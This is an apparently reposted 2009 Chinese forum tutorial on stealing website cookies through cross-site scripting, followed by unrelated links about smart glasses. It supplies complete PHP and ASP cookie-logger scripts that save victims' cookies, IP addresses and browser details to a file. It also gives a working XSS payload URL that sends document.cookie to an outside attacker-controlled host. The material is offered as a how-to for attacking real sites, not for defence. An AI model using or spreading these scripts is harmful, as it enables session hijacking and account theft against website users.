利用xss偷cookie教学

cnbird2008

4685人浏览 · 2009-06-24 11:12:00

cnbird2008 · 2009-06-24 11:12:00 发布

使用的工具：
1.免费网页支援PHP
2.存在xss的脆弱的网站。

vb.php 为存放cookie 的网页
PHP Code:

<head>
<meta http-equiv="Content-Language" content="it">
<title>Cook ie s Stealther - Designed and programmed by R00t[ATI]</title>
</head>

<body bgcol or ="#C0C0C0">

COOKIES STEALTHER
By R00T[ATI]
 

</body>

documents.php取得cookie的网页PHP Code:

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = " ".$time." = ".$ip." User Agent: ".$agent." Referer: ".$referer." Session: ".$data." ";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");

?>

Vb.php文件是用来收集Cookie和其他信息。
documents.php文件用于抓取资料如： IP地址，用户代理和cookie 。
现在，我们需要找到脆弱网站跨站点脚本（ XSS ）。在这之后插入一个脚本调用documents.php是抓住文件的Cookie使用的方法 documents.php?c="+document.cookie;如下例子:
Code:

http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>

当受害者点到这个连结时cookie就被偷走了会存放在vb.php里面

相关代码：

news.asp代码：

<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

PHP版代码：

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.' IP: ' .$ip. ' Date and Time: ' .$time. ' Referer: '.$referer.' ');
fclose($fp);
?>

乐奇 Rokid 开放社区

更多推荐

智慧矿山人员定位AR巡检品牌推荐

乐奇 Rokid 开放社区

水务集团AR巡检系统选哪家公司好

乐奇 Rokid 开放社区

极刻觅镜 | AI眼镜周报｜智能眼镜声学性能测试规范10月2日起实施

本周智能眼镜领域出现多项进展：国内《智能眼镜声学性能测试规范》自10月2日起实施，高通发布Snapdragon Sound Elite Gen 2平台，Meta与Naver合作推进免手持步行导航，依视路陆逊梯卡与Meta扩充产品线，影目INMO就海外版发热问题发布声明，荷兰零售商停售Meta眼镜并引发监管关注。